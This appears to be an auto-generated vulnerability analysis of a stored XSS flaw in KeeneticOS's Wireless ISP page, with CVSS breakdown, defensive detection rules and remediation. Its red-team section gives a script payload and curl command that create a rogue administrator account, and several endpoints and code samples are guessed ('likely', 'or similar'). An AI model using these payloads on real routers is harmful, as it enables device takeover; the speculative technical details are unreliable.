CVE-2025-56008

Executive Summary

CVE-2025-56008 is a stored Cross-Site Scripting (XSS) vulnerability in KeeneticOS versions prior to 4.3, specifically within the "Wireless ISP" page. An attacker within physical proximity to the router (adjacent network) can inject malicious scripts that, when executed by an authenticated administrator, allow the attacker to add new users with full administrative privileges, effectively taking over the device. The vulnerability has a CVSS score of 6.1 (Medium) and is now patched in KeeneticOS 4.3. No public exploit code or proof-of-concept is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Adjacent Network – The attacker must be within Wi-Fi range of the target router.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim (admin) must visit the compromised Wireless ISP page.
• Scope (S): Changed – The XSS allows the attacker to perform actions beyond the vulnerable component (e.g., add users).
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. The requirement for adjacent network access and user interaction reduces the immediate risk, but successful exploitation leads to full device compromise.

Deep Dive & Mechanics

The vulnerability resides in the "Wireless ISP" configuration page of KeeneticOS. This page likely accepts user-supplied input (e.g., SSID, password, or other wireless parameters) without proper sanitization or output encoding. An attacker within Wi-Fi range can craft a malicious payload (e.g., <script>...</script>) and inject it into one of these fields.

When an authenticated administrator views the "Wireless ISP" page, the injected script executes in the context of the admin's session. The script can then make API calls to the router's backend to create a new user account with full administrative privileges. Once the attacker has admin credentials, they can remotely control the router, modify DNS settings, intercept traffic, or pivot to other devices on the network.

The attack flow:

1. Attacker connects to the target Wi-Fi network (or creates a rogue access point with the same SSID).
2. Attacker sends a crafted HTTP request to the router's "Wireless ISP" page, injecting XSS payload into an input field.
3. Admin visits the "Wireless ISP" page (e.g., to check connection status).
4. Payload executes, sending a POST request to /api/user/add (or similar endpoint) with attacker-controlled credentials.
5. Attacker logs in with new admin account and takes over the device.

Vulnerable vs. Patched Code

Vulnerable Code (KeeneticOS < 4.3): The vulnerable code likely outputs user-supplied input directly into the HTML without encoding. For example:

// Vulnerable: direct injection
document.getElementById('ssid').innerHTML = userInput;

Patched Code (KeeneticOS 4.3): The patched version sanitizes or encodes the input before rendering:

// Patched: safe encoding
document.getElementById('ssid').textContent = userInput;
// Or server-side sanitization
$ssid = htmlspecialchars($_POST['ssid'], ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Keenetic router running KeeneticOS < 4.3
• Attacker machine with Wi-Fi capability (e.g., Kali Linux)
• Target network with an authenticated admin session

Steps:

1. Reconnaissance: Scan for Keenetic routers using Shodan or local network scanning (e.g., nmap -sV 192.168.1.0/24).
2. Identify Wireless ISP page: Access http://<router-ip>/wireless_isp or similar endpoint.
3. Craft XSS payload: Create a payload that adds a new admin user. Example:

   fetch('/api/user/add', {
     method: 'POST',
     headers: {'Content-Type': 'application/json'},
     body: JSON.stringify({username: 'attacker', password: 'P@ssw0rd!', role: 'admin'})
   });
   

4. Inject payload: Send a POST request to the vulnerable page with the payload in a parameter (e.g., ssid):

   curl -X POST http://192.168.1.1/wireless_isp -d "ssid=<script>fetch('/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({username:'attacker',password:'P@ssw0rd!',role:'admin'})})</script>"
   

5. Trigger execution: Wait for an admin to visit the page, or if you have admin access, visit it yourself.
6. Takeover: Log in with the new credentials (attacker:P@ssw0rd!) and gain full control.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual API calls: Alert on POST requests to /api/user/add or similar endpoints from non-admin IPs.
2. Inspect HTTP requests: Look for <script> tags or encoded JavaScript in parameters sent to the Wireless ISP page.
3. Check for new admin accounts: Regularly audit user accounts on the router for unexpected entries.
4. Network segmentation: Isolate the router's management interface from the guest network.

Honeypot Setup:

• Deploy a fake Keenetic router with a modified firmware that logs all XSS attempts.
• Use a tool like beef to capture and analyze XSS payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wireless_isp containing <script> tags or fetch/XMLHttpRequest calls.
  • POST requests to /api/user/add with JSON body containing role: 'admin'.
  • Unusual user-agent strings (e.g., curl/7.x or custom scripts).

• Host IOCs (on the router):

  • New user accounts in /etc/config/users or similar.
  • Modified configuration files for the Wireless ISP page.
  • Unexpected processes running (e.g., reverse shells).

• Log IOCs:

  • Router logs showing User added events without corresponding admin action.
  • Repeated failed login attempts followed by successful login from a new user.

Detection Engineering

YARA Rule

rule CVE_2025_56008_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting KeeneticOS Wireless ISP page"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-56008"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "fetch(" ascii wide nocase
        $xss3 = "/api/user/add" ascii wide nocase
        $xss4 = "XMLHttpRequest" ascii wide nocase
    condition:
        any of ($xss*) and #xss3 > 0
}

Sigma Rule

title: KeeneticOS XSS - Wireless ISP Page
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against KeeneticOS Wireless ISP page
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1190
    - cve.2025.56008
logsource:
    category: webserver
    product: keentic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wireless_isp'
        cs-uri-query|contains: 
            - '<script>'
            - 'fetch('
            - '/api/user/add'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56008 KeeneticOS XSS - Wireless ISP Page";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wireless_isp"; http_uri;
    content:"<script>"; http_client_body;
    content:"/api/user/add"; http_client_body;
    sid:10000001;
    rev:1;
    reference:cve,2025-56008;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade KeeneticOS to version 4.3 or later. This is the only complete fix.
2. Workaround: If patching is not possible, disable the "Wireless ISP" feature or restrict access to the management interface to trusted IPs only.
3. Network Controls: Ensure the router's admin interface is not exposed to the internet. Use a VPN for remote management.

Long-Term Measures:

• Implement input validation and output encoding for all user-supplied data.
• Conduct regular security audits of the firmware.
• Enable logging and monitoring for unusual API calls.

Valters IT Signature

Report generated by Valters IT DevSecOps Framework – CVE-2025-56008 Analysis